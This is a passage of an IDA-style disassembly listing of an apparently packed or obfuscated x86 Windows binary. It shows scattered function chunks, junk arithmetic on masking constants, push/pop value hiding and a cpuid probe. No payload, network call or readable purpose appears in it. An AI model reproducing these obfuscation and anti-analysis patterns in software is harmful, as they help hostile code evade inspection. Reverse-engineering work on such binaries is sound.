; =============== S U B	R O U T	I N E =======================================



sub_42862C	proc near		; CODE XREF: _7hdaygc1:004273B3j
					; sub_424CE0:loc_429F63p
		xchg	edx, [esp+0]
		pop	edx
		mov	ds:dword_42E544, eax
		retn
sub_42862C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232C2


loc_428637:				; CODE XREF: sub_4232C2+19C4j
		jmp	loc_42E25A
; END OF FUNCTION CHUNK	FOR sub_4232C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42863C:				; CODE XREF: sub_4291EA-272Aj
					; _7hdaygc1:0042D70Ej
		rol	eax, 12h
		jmp	loc_42B931
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
		test	ebp, 668F5D58h
		jmp	loc_426B91
; ---------------------------------------------------------------------------
		call	nullsub_208
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_42327A
		jmp	loc_427CDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF30


loc_42866D:				; CODE XREF: sub_42EF30:loc_42F482j
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp-8], eax
		add	edx, ebx
		rol	edx, 5
		jmp	loc_42AFD2
; END OF FUNCTION CHUNK	FOR sub_42EF30
; ---------------------------------------------------------------------------
		rol	ecx, 1Fh
		not	ebp


loc_428684:				; CODE XREF: _7hdaygc1:loc_42B5D0j
		jmp	sub_42B057
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E51C


loc_428689:				; CODE XREF: sub_42E51C:loc_42E52Fj
		call	sub_428697
		pop	ecx


loc_42868F:				; CODE XREF: _7hdaygc1:loc_428727j
		mov	[ebp-20h], eax
		jmp	loc_42FA7C
; END OF FUNCTION CHUNK	FOR sub_42E51C

; =============== S U B	R O U T	I N E =======================================



sub_428697	proc near		; CODE XREF: sub_42E51C:loc_428689p
		call	sub_42D9F8

locret_42869C:				; CODE XREF: sub_425752+7EE0j
		retn
sub_428697	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42869D:				; CODE XREF: sub_42EBD6+101Cj
		jmp	loc_4268AF
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; ---------------------------------------------------------------------------


loc_4286A2:				; DATA XREF: sub_42EF30-3F4Fo
		js	loc_42A69E
		call	sub_42F8C4
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_4286AD:				; CODE XREF: sub_4246D7+877Ej
		jmp	loc_426625
; END OF FUNCTION CHUNK	FOR sub_4246D7
; ---------------------------------------------------------------------------
		rol	edx, 0Eh
		mov	edi, 3BF5CFDEh
		jmp	sub_426303
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426315


loc_4286BF:				; CODE XREF: sub_426315+E61j
		xchg	ebx, [esp+4+var_4]
		push	offset loc_42DA15
		jmp	nullsub_191
; END OF FUNCTION CHUNK	FOR sub_426315
; ---------------------------------------------------------------------------
		rol	ebp, 4
		jmp	loc_427F84
; ---------------------------------------------------------------------------


loc_4286D4:				; DATA XREF: sub_42F0D1+Eo
		jmp	loc_421AA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_4286D9:				; CODE XREF: sub_426130+9057j
		jmp	loc_42A427
; END OF FUNCTION CHUNK	FOR sub_426130
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	byte ptr [ebx+4Dh], 0
		add	[edx-75h], dl
		rol	dword ptr [edi-2274DBECh], cl
		xchg	ebx, [esp]
		jmp	loc_425032
; ---------------------------------------------------------------------------


loc_4286F4:				; DATA XREF: sub_42AA07-38B4o
		push	edx
		push	9FFC2CD8h
		pop	edx
		rol	edx, 0Bh
		xor	edx, 0A2297D12h
		add	edx, ebp
		push	eax
		push	8B940747h
		jmp	loc_423933
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_428711:				; CODE XREF: sub_42A2EF-E16j
		push	2BB15506h
		pop	esi
		or	esi, 0CA5FBABh
		add	esi, 0D08CE215h
		mov	[esi], eax
		pop	esi

locret_428726:				; CODE XREF: sub_42FC2D+Aj
		retn
; END OF FUNCTION CHUNK	FOR sub_42A2EF
; ---------------------------------------------------------------------------


loc_428727:				; CODE XREF: _7hdaygc1:0042CBE4j
		jb	loc_42868F
		adc	ebp, esi
; START	OF FUNCTION CHUNK FOR sub_423B20


loc_42872F:				; CODE XREF: sub_423B20:loc_42CBD1j
		add	eax, 486CF835h
		rol	eax, 0Eh
		add	eax, 18477844h
		mov	eax, [eax]
		call	sub_42A17C
; END OF FUNCTION CHUNK	FOR sub_423B20
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_428745:				; CODE XREF: sub_4291A3-1276j
		jmp	loc_429511
; END OF FUNCTION CHUNK	FOR sub_4291A3

; =============== S U B	R O U T	I N E =======================================



sub_42874A	proc near		; DATA XREF: _7hdaygc1:0042D098o

; FUNCTION CHUNK AT 004236A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004249D3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042676E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426DC8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00429622 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042C3B3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042D338 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E3B6 SIZE 0000001A BYTES

		mov	ebx, eax
		call	sub_428C3B
		xor	ebx, eax
		push	esi
		push	0FCDDB25Fh
		jmp	loc_42E3B6
sub_42874A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42875E:				; CODE XREF: sub_42EBD6:loc_424A52j
		and	eax, 2FFFh
		add	[esi], eax
		call	sub_429EBB
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42876A:				; CODE XREF: sub_42C443+33DBj
		jmp	loc_42CFA9
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_42876F:				; CODE XREF: sub_424F62:loc_42AEC9j
		add	eax, 424B6DAEh
		push	offset loc_426CE9
		jmp	loc_428FB8
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291CE


loc_42877F:				; CODE XREF: sub_4291CE:loc_427446j
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp+0]
		push	39F0543Bh


loc_42878F:				; CODE XREF: _7hdaygc1:00423992j
		jmp	loc_425A9A
; END OF FUNCTION CHUNK	FOR sub_4291CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_428794:				; CODE XREF: sub_424AA8+213Aj
		sbb	esi, edi
		sub	ecx, 0A1875C0Ch


loc_42879C:				; CODE XREF: sub_424AA8:loc_4282C0j
		call	sub_429999
; END OF FUNCTION CHUNK	FOR sub_424AA8
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_4287A1:				; CODE XREF: sub_42C443:loc_42454Bj
		push	0C64E0733h
		jmp	loc_42340B
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------


loc_4287AB:				; CODE XREF: _7hdaygc1:0042F3ACj
		push	8085C769h
		pop	ebx
		and	ebx, 0D37180BFh
		sub	ebx, 7A4F87E0h
		jmp	loc_42C5DA
; ---------------------------------------------------------------------------


loc_4287C2:				; DATA XREF: sub_42AA47:loc_42C439o
		div	dword ptr [ebp-8]
		mov	[ebp-0Ch], edx
; START	OF FUNCTION CHUNK FOR sub_42DE6F


loc_4287C8:				; CODE XREF: sub_42450E:loc_42D2DDj
					; sub_42DE6F+Dj
		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		xchg	edx, [esp+0]
		mov	ebp, edx
		pop	edx
		jmp	loc_429C35
; END OF FUNCTION CHUNK	FOR sub_42DE6F

; =============== S U B	R O U T	I N E =======================================



sub_4287D8	proc near		; CODE XREF: _7hdaygc1:00425799j
					; sub_42EE8A-6901p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004271CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428F11 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042AD2B SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax]
		push	eax
		jmp	loc_428F11
sub_4287D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_4287E4:				; CODE XREF: sub_426130:loc_42DF67j
		call	sub_428E56
		call	sub_423F02
		test	al, al
		jmp	loc_425D7A
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------


loc_4287F5:				; CODE XREF: _7hdaygc1:00425DD4j
		jg	loc_42CD50
		jmp	loc_42505B
; ---------------------------------------------------------------------------


loc_428800:				; CODE XREF: _7hdaygc1:0042C30Bj
		not	esi

; =============== S U B	R O U T	I N E =======================================



sub_428802	proc near		; CODE XREF: sub_42A1B6-47EEp

; FUNCTION CHUNK AT 00423D30 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C229 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, ebp
		jmp	loc_42C229
sub_428802	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_42880D:				; CODE XREF: sub_42B907:loc_426489j
		jnz	loc_42395F
		jmp	loc_42B695
; END OF FUNCTION CHUNK	FOR sub_42B907

; =============== S U B	R O U T	I N E =======================================



sub_428818	proc near		; CODE XREF: _7hdaygc1:0042499Cj
					; _7hdaygc1:00428470p
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		mov	eax, [ebp-8]
		cdq
		add	eax, [esp+0]


loc_428824:				; CODE XREF: _7hdaygc1:00424B58j
		push	offset sub_426D30
		jmp	loc_423A92
sub_428818	endp

; ---------------------------------------------------------------------------
		sub	ebx, 571039A0h
		jmp	sub_42AB9F
; ---------------------------------------------------------------------------

locret_428839:				; CODE XREF: _7hdaygc1:0042C24Cj
		retn
; ---------------------------------------------------------------------------


loc_42883A:				; CODE XREF: _7hdaygc1:0042BBFDj
		jmp	loc_425ECF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42883F:				; CODE XREF: sub_42C16F-36D9j
		jge	loc_4266D7
		sub	eax, 818E3EA4h
		xor	ebp, 9139E529h


loc_428851:				; CODE XREF: sub_42C16F:loc_428A8Ej
		rol	eax, 16h
		and	eax, 8F2FF433h
		xor	eax, 84DC8D7Eh
		add	eax, ebp
		add	eax, 0F80586AFh
		jmp	loc_42C9EA
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		jl	loc_42F6BD
		jmp	sub_429766
; ---------------------------------------------------------------------------


loc_428878:				; CODE XREF: _7hdaygc1:004255ABj
		call	sub_42A94C
		mov	eax, [ebp-30h]


loc_428880:				; CODE XREF: _7hdaygc1:loc_42ADD2j
		push	ebp
		push	edi
		push	4D23223Fh
		jmp	loc_42F2BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429E9F


loc_42888C:				; CODE XREF: sub_429E9F-8Cj
		xchg	edi, ebp


loc_42888E:				; CODE XREF: sub_429E9F-93j
		and	edx, 0EA3190AFh
		sub	edx, 8C5923DDh
		add	edx, 0EC8B7814h
		xchg	edx, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_429E9F
; START	OF FUNCTION CHUNK FOR sub_424744


loc_4288A3:				; CODE XREF: sub_424744+4789j
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_424744
; ---------------------------------------------------------------------------
		shl	eax, 0Fh
		jmp	sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F3E


loc_4288B0:				; CODE XREF: sub_423F3E:loc_423AE6j
		mov	eax, [ebp-18h]
		shl	eax, 2
		cdq
		push	offset loc_42A368
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_423F3E
; ---------------------------------------------------------------------------


loc_4288C1:				; CODE XREF: _7hdaygc1:0042E72Dj
		jns	loc_42A67C

; =============== S U B	R O U T	I N E =======================================



sub_4288C7	proc near		; CODE XREF: sub_428A39+5p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042B1F4 SIZE 00000019 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ebx
		push	0D8D2647h
		jmp	loc_42B1F4
sub_4288C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED4E


loc_4288D6:				; CODE XREF: sub_42ED4E:loc_429369j
		xor	[esi], edx
		jmp	loc_426F9F
; END OF FUNCTION CHUNK	FOR sub_42ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_4288DD:				; CODE XREF: sub_42EBD6+7j
		mov	eax, 1
		xor	ebx, ebx
		xor	edx, edx
		cpuid
		jmp	loc_424A52
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4288EE:				; CODE XREF: _7hdaygc1:0042CB35j
		call	sub_42D85F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_4288F4:				; CODE XREF: sub_426130+7E50j
		jmp	loc_42D39C
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------


loc_4288F9:				; CODE XREF: _7hdaygc1:00426AB2j
		jmp	loc_42D143

; =============== S U B	R O U T	I N E =======================================



sub_4288FE	proc near		; CODE XREF: sub_428E56-E76j
					; sub_42AE0B:loc_428956j ...

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00423B92 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004245F5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004248A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425870 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00425B8C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00425D1B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042648E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426CA2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042896E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C204 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D92F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042E1C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EEF8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042F69C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042FA62 SIZE 00000016 BYTES

		jz	loc_425870
		mov	eax, ds:dword_42B9A0
		or	eax, eax
		jnz	loc_423B92
		jmp	loc_42F69C
sub_4288FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_428917	proc near		; CODE XREF: sub_42BE63-1228p
					; _7hdaygc1:0042ACDCj

; FUNCTION CHUNK AT 004246A6 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		push	offset loc_425F96
		jmp	loc_4246A6
sub_428917	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429766


loc_428926:				; CODE XREF: sub_429766:loc_424545j
		mov	eax, ds:dword_425150
		mov	eax, [eax]
		mov	ds:dword_425154, eax
		xor	eax, eax
		mov	ds:dword_425150, eax
		jmp	loc_424159
; END OF FUNCTION CHUNK	FOR sub_429766
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B49


loc_42893E:				; CODE XREF: sub_429B49j
		call	sub_4291A3


loc_428943:				; CODE XREF: sub_42EFBC-B940j
		jmp	loc_42FC44
; END OF FUNCTION CHUNK	FOR sub_429B49

; =============== S U B	R O U T	I N E =======================================



sub_428948	proc near		; CODE XREF: _7hdaygc1:00424DCCj
					; _7hdaygc1:0042A23Ep
		xchg	esi, [esp+0]
		pop	esi
		ror	eax, 3
		mov	ds:dword_42BC48, eax
		retn
sub_428948	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AE0B


loc_428956:				; CODE XREF: sub_42AE0B+Dj
		jmp	sub_4288FE
; END OF FUNCTION CHUNK	FOR sub_42AE0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_42895B:				; CODE XREF: sub_424744+Cj
		jmp	loc_4245E9
; END OF FUNCTION CHUNK	FOR sub_424744
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D10


loc_428960:				; CODE XREF: sub_426D10+10j
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		and	eax, 7
		call	sub_42F05E
; END OF FUNCTION CHUNK	FOR sub_426D10
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42896E:				; CODE XREF: sub_4288FE-42EFj
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0C4


loc_428973:				; CODE XREF: sub_42E0C4-5202j
		mov	eax, offset dword_42BC4C
		push	ebx
		push	offset loc_42A80B
		jmp	nullsub_78
; END OF FUNCTION CHUNK	FOR sub_42E0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_428983:				; CODE XREF: sub_42AA9B-7791j
		and	eax, ecx
		or	eax, 6CFD4E6Eh
		add	edx, edi
		jmp	loc_4233A5
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------


loc_428992:				; CODE XREF: _7hdaygc1:00423042j
		mov	eax, esi

; =============== S U B	R O U T	I N E =======================================



sub_428994	proc near		; CODE XREF: _7hdaygc1:0042AA5Ap
		xchg	esi, [esp+0]
		pop	esi
sub_428994	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_428998:				; CODE XREF: sub_4291EA:loc_428D8Aj
		mov	edx, [ebp+var_4]
		push	32EC051Ch


loc_4289A0:				; CODE XREF: _7hdaygc1:0042DF85j
		pop	eax
; END OF FUNCTION CHUNK	FOR sub_4291EA
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4289A1:				; CODE XREF: sub_423172+A3j
		jmp	loc_42EE70
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------


loc_4289A6:				; CODE XREF: _7hdaygc1:00429F87j
					; _7hdaygc1:loc_42FAABj
		mov	eax, [ebp-24h]
		push	edi


loc_4289AA:				; CODE XREF: _7hdaygc1:0042DCB3j
		push	525068F7h
		pop	edi
		or	edi, 1BEA7F2Fh
		test	edi, 80000h
		jmp	loc_42C06E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_4289C1:				; CODE XREF: sub_42D9E1:loc_42B295j
		jz	loc_429AFD
		jmp	loc_42EDF2
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------


loc_4289CC:				; CODE XREF: _7hdaygc1:0042AB89j
		xchg	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_4289CE	proc near		; CODE XREF: _7hdaygc1:0042D228p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00424A5E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00425E82 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004293C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B94D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042F704 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx
		push	8D64176Ch
		pop	ecx
		rol	ecx, 3
		test	ecx, 10000000h
		jmp	loc_4293C9
sub_4289CE	endp

; ---------------------------------------------------------------------------
		pop	ecx
		test	ecx, esi
		jmp	loc_42E68F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425182


loc_4289EF:				; CODE XREF: sub_425182+15D7j
		cmp	ax, 20FFh
		jz	loc_4236DB
		xor	eax, eax


loc_4289FB:				; CODE XREF: sub_425182-1AA5j
		mov	[ebp-5], al
		jmp	loc_4236CF
; END OF FUNCTION CHUNK	FOR sub_425182

; =============== S U B	R O U T	I N E =======================================



sub_428A03	proc near		; DATA XREF: sub_42AFFE:loc_426E91o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042B415 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C86A SIZE 00000005 BYTES

		push	edx
		push	38A796D0h
		pop	edx
		or	edx, 14A71E11h
		sub	edx, 700E36FDh
		add	edx, 667BDBDBh
		or	edx, 0A94996FBh
		add	edx, 44E506BFh
		jmp	loc_42B415
sub_428A03	endp


; =============== S U B	R O U T	I N E =======================================



sub_428A2D	proc near		; CODE XREF: _7hdaygc1:0042C01Ej
					; sub_42450E:loc_42D2A5p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	eax, [esp-4+arg_0]
		jmp	sub_42A9E0
sub_428A2D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428A39	proc near		; DATA XREF: _7hdaygc1:00425C72o
		call	sub_42828C
		call	sub_4288C7
sub_428A39	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_428A43:				; CODE XREF: sub_42C16F:loc_426BBFj
		pop	ebp
		mov	eax, ds:dword_42BC64
		or	eax, eax
		jnz	loc_42D6F0
		jmp	loc_425991
; END OF FUNCTION CHUNK	FOR sub_42C16F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6C3


loc_428A58:				; CODE XREF: sub_42A6C3+Bj
		jmp	loc_42E2B1
; END OF FUNCTION CHUNK	FOR sub_42A6C3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_428A5E:				; CODE XREF: _7hdaygc1:00429FAEj
		jmp	loc_426E03
; ---------------------------------------------------------------------------


loc_428A63:				; CODE XREF: _7hdaygc1:004263F4j
		jge	loc_42B90F

; =============== S U B	R O U T	I N E =======================================



sub_428A69	proc near		; CODE XREF: sub_42B877+Ap
		xchg	edi, [esp+0]
		pop	edi
		mov	eax, esp
sub_428A69	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_428A6F:				; CODE XREF: sub_42DD73-8508j
		push	0
		jmp	loc_4296D9
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_428A76:				; CODE XREF: sub_42C26B:loc_42C0BCj
		add	esp, 8
		xor	eax, [esp+0]
		xor	edx, [esp+4]
		add	esp, 8
		push	esi
		push	0F66AD9F5h
		jmp	loc_428142
; END OF FUNCTION CHUNK	FOR sub_42C26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_428A8E:				; CODE XREF: sub_42C16F:loc_423608j
		jnz	loc_428851
		test	ecx, ebx
		jmp	loc_42883F
; END OF FUNCTION CHUNK	FOR sub_42C16F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428A9B	proc near		; CODE XREF: sub_42ED2A-306j
		retn
sub_428A9B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_428A9C:				; CODE XREF: sub_42CFDA-391Dj
		jmp	loc_429E58
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------


loc_428AA1:				; CODE XREF: _7hdaygc1:loc_424794j
		pop	eax
		xor	eax, 3B2DFEBDh
		or	eax, 70B7ADC2h
		rol	eax, 9
		and	eax, 0BEC8FD65h
		jmp	loc_42CEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_428ABC:				; CODE XREF: sub_425E64:loc_42B69Dj
		jnz	loc_424BDD
		jmp	loc_424B82
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_428AC8:				; CODE XREF: _7hdaygc1:00425EE5j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		xchg	eax, [esp]
		push	offset loc_425441
		jmp	loc_42DBD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4CE


loc_428ADB:				; CODE XREF: sub_42F4CE-C175j
					; _7hdaygc1:loc_4273ACj
		or	esi, 0A61CA1DFh
		adc	esi, 9E3481D0h


loc_428AE7:				; CODE XREF: sub_42F4CE:loc_428F81j
		push	offset sub_4266F8
		jmp	nullsub_210
; END OF FUNCTION CHUNK	FOR sub_42F4CE
; ---------------------------------------------------------------------------


loc_428AF1:				; CODE XREF: _7hdaygc1:0042A2C4j
		jo	loc_42F345

; =============== S U B	R O U T	I N E =======================================



sub_428AF7	proc near		; CODE XREF: sub_42874A+EE4p

; FUNCTION CHUNK AT 00425514 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D7A SIZE 00000006 BYTES

		xchg	eax, [esp+0]
		pop	eax


loc_428AFB:				; CODE XREF: _7hdaygc1:00423CFCj
		add	esi, edi
		jmp	loc_425514
sub_428AF7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428B02	proc near		; CODE XREF: _7hdaygc1:004253BCj
					; sub_42EB3E+5p
		xchg	esi, [esp+0]
		pop	esi
		mov	ebp, esp
		call	sub_423FA0
		pop	ebp
		retn	10h
sub_428B02	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428B11	proc near		; CODE XREF: _7hdaygc1:0042C03Fp
					; sub_4296EF:loc_42D467p

; FUNCTION CHUNK AT 0042723D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004295C9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042AA02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B4AC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042C292 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E62D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F6D8 SIZE 00000011 BYTES

		push	ebp
		jmp	loc_42B4AC
sub_428B11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_428B17:				; DATA XREF: _7hdaygc1:loc_424574o
		mov	edi, ebp
		mov	edi, [edi]
		sub	edi, eax
		mov	[ebp+0], edi
		pop	edi
		pop	ebp
		cmp	dword ptr [ebp-38h], 0
		jmp	loc_426696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426EBD


loc_428B2B:				; CODE XREF: sub_426EBD+75BFj
		and	edx, 0D4D59ABh
		sub	edx, 0E4EDB16Dh
		rol	edx, 0Bh
		add	edx, 6D45221Fh
		call	sub_428120


loc_428B45:				; CODE XREF: sub_42A92E-1D46j
		jmp	loc_4247AB
; END OF FUNCTION CHUNK	FOR sub_426EBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_428B4A:				; CODE XREF: sub_425A37+60Fj
		jmp	loc_4255B0
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------

locret_428B4F:				; CODE XREF: _7hdaygc1:loc_423EFDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_428B50:				; CODE XREF: sub_4237DA+7FDCj
		jmp	loc_42EEBE
; END OF FUNCTION CHUNK	FOR sub_4237DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_428B55:				; CODE XREF: sub_42EBD6:loc_423CA6j
		pop	esi
		jmp	loc_423297
; END OF FUNCTION CHUNK	FOR sub_42EBD6

; =============== S U B	R O U T	I N E =======================================



sub_428B5B	proc near		; DATA XREF: sub_4289CE-3F66o

; FUNCTION CHUNK AT 004236B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004244AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004251A5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004256E0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426E4B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426EB3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B2F6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C91F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DC1F SIZE 00000005 BYTES

		push	eax
		call	sub_423D07
		mov	eax, [ebp-4]
		jns	loc_426E4B
		add	eax, 28h
		mov	[ebp-4], eax
		jmp	loc_4236B4
sub_428B5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428B75	proc near		; DATA XREF: _7hdaygc1:0042C247o
		xchg	eax, [esp+0]
sub_428B75	endp ; sp-analysis failed

